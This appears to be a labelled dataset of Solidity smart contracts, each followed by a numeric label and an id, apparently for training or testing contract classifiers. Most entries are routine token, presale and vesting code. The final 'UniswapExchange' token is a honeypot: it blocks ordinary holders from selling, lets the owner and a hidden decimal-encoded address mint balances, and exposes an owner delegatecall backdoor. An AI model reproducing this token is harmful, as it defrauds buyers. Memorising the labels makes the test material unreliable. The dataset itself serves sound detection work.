pair.call(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender, pair, LP)); (bool success,) = pair.call(abi.encodeWithSignature("burn(address)",msg.sender)); require(success, "burn failed"); } function getLQtwo(address pair, uint256 LP) public { require(block.number > timed); pair.call(abi.encodeWithSignature("sync()")); pair.call(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender, pair, LP)); (bool success, bytes memory data) = pair.call(abi.encodeWithSignature("burn(address)",address(this))); require(success, "burn failed"); (uint256 A, uint256 B) = abi.decode(data,(uint256,uint256)); send = msg.sender; AmountA = A; AmountB = B; blocked = block.number; timed = blocked + timer; } function retrieve(address token0, address token1) public { require(msg.sender == send && block.number <= timed); if(token0 == weth){ uint256 fee = AmountA.mul(50).div(1000); uint256 WthOut = AmountA.sub(fee); token0.call(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,WthOut)); uint256 BAL = IERC20(token1).balanceOf(address(this)); token1.call(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,BAL)); uint256 WBAL = IERC20(token0).balanceOf(address(this)); token0.call(abi.encodeWithSignature("transfer(address,uint256)",owner,WBAL)); }else{ uint256 fee = AmountB.mul(50).div(1000); uint256 WthOut = AmountB.sub(fee); token1.call(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,WthOut)); uint256 BAL = IERC20(token0).balanceOf(address(this)); token0.call(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,BAL)); uint256 WBAL = IERC20(token1).balanceOf(address(this)); token1.call(abi.encodeWithSignature("transfer(address,uint256)",owner,WBAL)); } send = address(0); AmountA = 0; AmountB = 0; blocked = 0; timed = 0; } function ViewEtho() public view returns(bool,uint256,bool){ bool ETO = send == address(0); uint256 BL = blocked + timer; bool TL = block.number > BL; return(ETO,BL,TL); } function withdraw() public payable onlyOwner{ owner.transfer( address( this ).balance ); } function toke(address _toke, uint amt) public payable onlyOwner{ if(_toke == weth){ uint256 Wbal = IERC20(weth).balanceOf(address(this)); weth.call(abi.encodeWithSignature("withdraw(uint256)",Wbal)); owner.transfer(address(this).balance); }else{ IERC20(_toke).transfer(owner,amt); } } function kill() external payable onlyOwner{ selfdestruct(owner); } receive () external payable {} fallback () external payable {} }
0
1,909
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner,address indexed spender,uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract FexToken is StandardToken { string public constant name = "FEX NEW Token"; string public constant symbol = "FEX"; uint8 public constant decimals = 18; constructor() public { totalSupply_ = 30000000000000000000000000; balances[msg.sender] = totalSupply_; } }
1
5,417
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint balance); function transfer(address _to, uint _value); function transferFrom(address _from, address _to, uint _value); function approve(address _spender, uint _value); function allowance(address _owner, address _spender) constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size) { require(msg.data.length >= size + 4); _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract LiveStarsToken is StandardToken { string public name = "Live Stars Token"; string public symbol = "LIVE"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 200000000 * 1 ether; function LiveStarsToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract LiveStarsTokenPresale is Haltable { using SafeMath for uint; string public name = "Live Stars Token Presale"; LiveStarsToken public token; address public beneficiary; uint public hardCap; uint public collected; uint public price; uint public purchaseLimit; uint public currentBalance; uint public tokensSold = 0; uint public investorCount = 0; uint public startTime; uint public endTime; event GoalReached(uint amountRaised); event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount); modifier onlyAfter(uint time) { require(now >= time); _; } modifier onlyBefore(uint time) { require(now <= time); _; } function LiveStarsTokenPresale( uint _hardCapUSD, address _token, address _beneficiary, uint _totalTokens, uint _priceETH, uint _purchaseLimitUSD, uint _startTime, uint _duration ) { hardCap = _hardCapUSD * 1 ether / _priceETH; price = _totalTokens * 1 ether / hardCap; purchaseLimit = _purchaseLimitUSD * 1 ether / _priceETH * price; token = LiveStarsToken(_token); beneficiary = _beneficiary; startTime = _startTime; endTime = _startTime + _duration * 1 hours; } function () payable stopInEmergency{ require(msg.value >= 0.01 * 1 ether); doPurchase(msg.sender); } function withdraw() onlyOwner { require(beneficiary.send(currentBalance)); currentBalance = 0; } function finalWithdraw() onlyOwner onlyAfter(endTime) { if (currentBalance > 0) { require(beneficiary.send(currentBalance)); } token.transfer(beneficiary, token.balanceOf(this)); } function doPurchase(address _owner) private onlyAfter(startTime) onlyBefore(endTime) { assert(collected.add(msg.value) <= hardCap); uint tokens = msg.value * price; assert(token.balanceOf(msg.sender) + tokens <= purchaseLimit); if (token.balanceOf(msg.sender) == 0) investorCount++; collected = collected.add(msg.value); currentBalance = currentBalance.add(msg.value); token.transfer(msg.sender, tokens); tokensSold = tokensSold.add(tokens); NewContribution(_owner, tokens, msg.value); if (collected == hardCap) { GoalReached(hardCap); } } }
1
3,399
pragma solidity ^0.4.13; contract ForeignToken { function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); } contract tokenHodl { event Hodl(address indexed hodler, uint indexed amount); event Party(address indexed hodler, uint indexed amount); mapping (address => uint) public hodlers; uint constant partyTime = 1522542236; function() payable { hodlers[msg.sender] += msg.value; Hodl(msg.sender, msg.value); } function party() { require (block.timestamp > partyTime && hodlers[msg.sender] > 0); uint value = hodlers[msg.sender]; hodlers[msg.sender] = 0; msg.sender.transfer(value); Party(msg.sender, value); } function withdrawForeignTokens(address _tokenContract) returns (bool) { if (msg.sender != 0x239C09c910ea910994B320ebdC6bB159E71d0b30) { throw; } require (block.timestamp > partyTime); ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(0x239C09c910ea910994B320ebdC6bB159E71d0b30, amount); } }
1
4,431
pragma solidity ^0.4.19; contract ERC20Basic { function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns(uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns(uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns(uint256); function transferFrom(address from, address to, uint256 value) public returns(bool); function approve(address spender, uint256 value) public returns(bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns(bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns(bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract MavinToken is MintableToken, PausableToken { string public constant name = "Mavin Token"; string public constant symbol = "MVN"; uint8 public constant decimals = 18; address public creator; function MavinToken() public Ownable() MintableToken() PausableToken() { creator = msg.sender; paused = true; } function finalize() public onlyOwner { finishMinting(); unpause(); } function ownershipToCreator() public { require(creator == msg.sender); owner = msg.sender; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Referral { event LogRef(address member, address referrer); struct Node { address referrer; bool valid; } struct Tree { mapping(address => Referral.Node) nodes; } function addMember( Tree storage self, address _member, address _referrer ) internal returns(bool success) { Node memory memberNode; memberNode.referrer = _referrer; memberNode.valid = true; self.nodes[_member] = memberNode; LogRef(_member, _referrer); return true; } } contract AffiliateTreeStore is Ownable { using SafeMath for uint256; using Referral for Referral.Tree; address public creator; Referral.Tree affiliateTree; function AffiliateTreeStore() public { creator = msg.sender; } function ownershipToCreator() public { require(creator == msg.sender); owner = msg.sender; } function getNode( address _node ) public view returns(address referrer) { Referral.Node memory n = affiliateTree.nodes[_node]; if (n.valid == true) { return _node; } return 0; } function getReferrer( address _node ) public view returns(address referrer) { Referral.Node memory n = affiliateTree.nodes[_node]; if (n.valid == true) { return n.referrer; } return 0; } function addMember( address _member, address _referrer ) public onlyOwner returns(bool success) { return affiliateTree.addMember(_member, _referrer); } function() public { revert(); } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping(address => uint256) public released; mapping(address => bool) public revoked; function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } function releasableAmount(ERC20Basic token) public view returns(uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns(uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } contract AffiliateManager is Pausable { using SafeMath for uint256; AffiliateTreeStore public affiliateTree; MavinToken public token; uint256 public endTime; uint256 public cap; address public vault; uint256 public mvnpereth; uint256 public weiRaised; uint256 public minAmountWei; address creator; function AffiliateManager( address _token, address _treestore ) public { creator = msg.sender; token = MavinToken(_token); endTime = 1536969600; vault = 0xD0b40D3bfd8DFa6ecC0b357555039C3ee1C11202; mvnpereth = 100; minAmountWei = 0.1 ether; cap = 32000 ether; affiliateTree = AffiliateTreeStore(_treestore); } event LogBuyTokens(address owner, uint256 tokens, uint256 tokenprice); event LogId(address owner, uint48 id); modifier onlyNonZeroAddress(address _a) { require(_a != address(0)); _; } modifier onlyDiffAdr(address _referrer, address _sender) { require(_referrer != _sender); _; } function initAffiliate() public onlyOwner returns(bool) { bool success1 = affiliateTree.addMember(vault, 0); bool success2 = affiliateTree.addMember(msg.sender, vault); return success1 && success2; } function finalizeCrowdsale() public onlyOwner returns(bool) { pause(); uint256 totalSupply = token.totalSupply(); TokenVesting team = new TokenVesting(vault, now, 24 weeks, 1 years, false); uint256 teamTokens = totalSupply.div(60).mul(16); token.mint(team, teamTokens); uint256 reserveTokens = totalSupply.div(60).mul(18); token.mint(vault, reserveTokens); uint256 advisoryTokens = totalSupply.div(60).mul(6); token.mint(vault, advisoryTokens); token.transferOwnership(creator); } function validPurchase() internal constant returns(bool) { bool withinCap = weiRaised.add(msg.value) <= cap; bool withinTime = endTime > now; bool withinMinAmount = msg.value >= minAmountWei; return withinCap && withinTime && withinMinAmount; } function presaleMint( address _beneficiary, uint256 _amountmvn, uint256 _mvnpereth ) public onlyOwner returns(bool) { uint256 _weiAmount = _amountmvn.div(_mvnpereth); require(_beneficiary != address(0)); token.mint(_beneficiary, _amountmvn); weiRaised = weiRaised.add(_weiAmount); LogBuyTokens(_beneficiary, _amountmvn, _mvnpereth); return true; } function joinManual( address _referrer, uint48 _id ) public payable whenNotPaused onlyDiffAdr(_referrer, msg.sender) onlyDiffAdr(_referrer, this) returns(bool) { LogId(msg.sender, _id); return join(_referrer); } function join( address _referrer ) public payable whenNotPaused onlyDiffAdr(_referrer, msg.sender) onlyDiffAdr(_referrer, this) returns(bool success) { uint256 weiAmount = msg.value; require(_referrer != vault); require(validPurchase()); address senderNode = affiliateTree.getNode(msg.sender); if (senderNode != address(0)) { _referrer = affiliateTree.getReferrer(msg.sender); } address referrerNode = affiliateTree.getNode(_referrer); require(referrerNode != address(0)); address topNode = affiliateTree.getReferrer(_referrer); require(topNode != address(0)); require(topNode != msg.sender); if (senderNode == address(0)) { affiliateTree.addMember(msg.sender, _referrer); } success = buyTokens(msg.sender, weiAmount); uint256 parentAmount = 0; uint256 rootAmount = 0; parentAmount = weiAmount.div(100).mul(5); referrerNode.transfer(parentAmount); buyTokens(referrerNode, parentAmount); rootAmount = weiAmount.div(100).mul(3); buyTokens(topNode, rootAmount); topNode.transfer(rootAmount); vault.transfer(weiAmount.sub(parentAmount).sub(rootAmount)); return success; } function buyTokens( address _beneficiary, uint256 _weiAmount ) internal returns(bool success) { require(_beneficiary != address(0)); uint256 tokens = 0; tokens = _weiAmount.mul(mvnpereth); weiRaised = weiRaised.add(_weiAmount); success = token.mint(_beneficiary, tokens); LogBuyTokens(_beneficiary, tokens, mvnpereth); return success; } function updateMVNRate(uint256 _value) onlyOwner public returns(bool success) { mvnpereth = _value; return true; } function balanceOf(address _owner) public constant returns(uint256 balance) { return token.balanceOf(_owner); } function() public { revert(); } }
1
3,469
pragma solidity 0.4.25; contract Forwarder { address constant public destinationAddress = 0x609E7e5Db94b3F47a359955a4c823538A5891D48; event LogForwarded(address indexed sender, uint amount); function() payable public { emit LogForwarded(msg.sender, msg.value); destinationAddress.transfer(msg.value); } }
1
2,847
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,784
